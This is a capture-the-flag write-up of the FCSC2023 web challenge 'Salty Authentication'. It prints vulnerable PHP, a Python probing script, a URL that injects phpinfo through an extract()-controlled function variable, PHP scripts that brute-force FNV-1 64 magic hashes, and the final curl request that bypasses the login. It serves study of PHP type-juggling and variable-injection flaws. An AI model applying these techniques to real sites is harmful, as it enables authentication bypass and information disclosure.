Home CTFs | FCSC2023 | Web | Salty Authentication
Post
Cancel

CTFs | FCSC2023 | Web | Salty Authentication

Context

context

I did not solved this challenge during the CTF, but I solved it after.

Here is the main page:

main_page

We are presented the php code of the page:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

error_reporting(0);

include('flag.php');
$salt = bin2hex(random_bytes(12));

extract($_GET);

$secret = gethostname() . $salt;

if (isset($password) && strlen($password) === strlen($secret) && $password !== $secret) {
    if (hash('fnv164', $password) == hash('fnv164', $secret)) {
        exit(htmlentities($flag));
    } else {
        echo('Wrong password!');
        exit($log_attack());
    }
}

highlight_file(__FILE__);

?>

The flag is included from flag.php.

The flag

1
2
3
if (hash('fnv164', $password) == hash('fnv164', $secret)) {
        exit(htmlentities($flag));
    }

To reveal the flag, we need to have the hash of the secret equal to the hash of the password.

We can define some variables in the url thanks to the extract($_GET). So, we can define the $password variable.

First we have to pass this test:

1
if (isset($password) && strlen($password) === strlen($secret) && $password !== $secret)

We can see that $password has to be set. It has to be the same length as $secret. And it has to be different from $secret.

As $password has to be different from $secret, we cannot use the same string for both. So, we have to find a hash collision (different values, same hash).

$secret is the concatenation of the hostname and the salt which is a random string of 12 bytes.

Hostname length

The first thing that came to my mind is to use extract($_GET) to rewrite the $salt variable. Unfortunately, we cannot rewrite the $secret variable as it is defined after the extract.

With this, we can pass the first test by finding the length of the hostname.

To do this, we rewrite the $salt variable as an empty string. Then, we add a character to the $password variable until we get the “Wrong password!” message.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time

password = ""
salt=""
counter = 0

while 1:
    counter += 1
    password += "1"
    print(counter)

    url = f"https://salty-authentication.france-cybersecurity-challenge.fr/?salt=&password={password}"

    r = requests.get(url)

    if "Wrong password!" in r.text:
        print(f"Hostname length: {counter}")
        break
    
    time.sleep(5)

Output: hostname_length

The hostname length is 12.

Hostname

Now we need to find the hostname. What we can notice is this:

1
2
3
4
else {
        echo('Wrong password!');
        exit($log_attack());
}

If the hashes are different, we get the “Wrong password!” message. And the $log_attack() function is called.

As log_attack is a variable, we can rewrite it with extract($_GET). So, we can define the $log_attack() function called when the hashes are different.

Let’s call phpinfo to get the hostname:

url: https://salty-authentication.france-cybersecurity-challenge.fr/?salt=&password=123456789012&log_attack=phpinfo

Output: phpinfo

We’ve got the hostname: 9be4a60f645f

Type juggling

The == operator is used to compare the hashes. It’s a weak comparison. It’s a type juggling comparison.

With this operator, if a comparaison is made between a string and an integer, the string is converted to an integer.

So, if the string begins with “0e”, it will be converted to 0. It’s a magic hash!

type juggling article

magic hashes article

Magic hash

Let’s try to find a magic hash for the secret. The secret has to begin with the hostname then we can use the salt to change the value.

Code to find a magic hash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

$counter =0;
while(1){
    $salt = bin2hex(random_bytes(6));
    $secret = "9be4a60f645f" . $salt;
    $counter+=1;
    $hash = hash('fnv164',$secret);

    if ($hash==0) {
        echo ("secret: ".$secret."\n");
        echo ("salt: ".$salt."\n");
        echo ("hash result: ".$hash."\n");
        echo ("iteration number: ".$counter."\n");
        exit();
    }
}

?>

Output:

salt

Now let’s find a magic hash for the password with the same length:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

$counter =0;
while(1){
    $password = bin2hex(random_bytes(12));
    $counter+=1;
    $hash = hash('fnv164',$password);

    if ($hash==0) {
        echo ("password: ".$password."\n");
        echo ("hash result: ".$hash."\n");
        echo ("iteration number: ".$counter."\n");
        exit();
    }
}

?>

Output:

password

Ok so if put salt=”70f9186fa35c” and password=”8215d358c2d73169d5895016”, the secret and the password will have the same length while having different values so we can pass the first test.

As both hashes begins with “0e”, they will be converted to 0. So, the hashes will be equal and we will get the flag.

1
curl "https://salty-authentication.france-cybersecurity-challenge.fr/?salt=70f9186fa35c&password=8215d358c2d73169d5895016"

We get the flag! flag

This post is licensed under CC BY 4.0 by the author.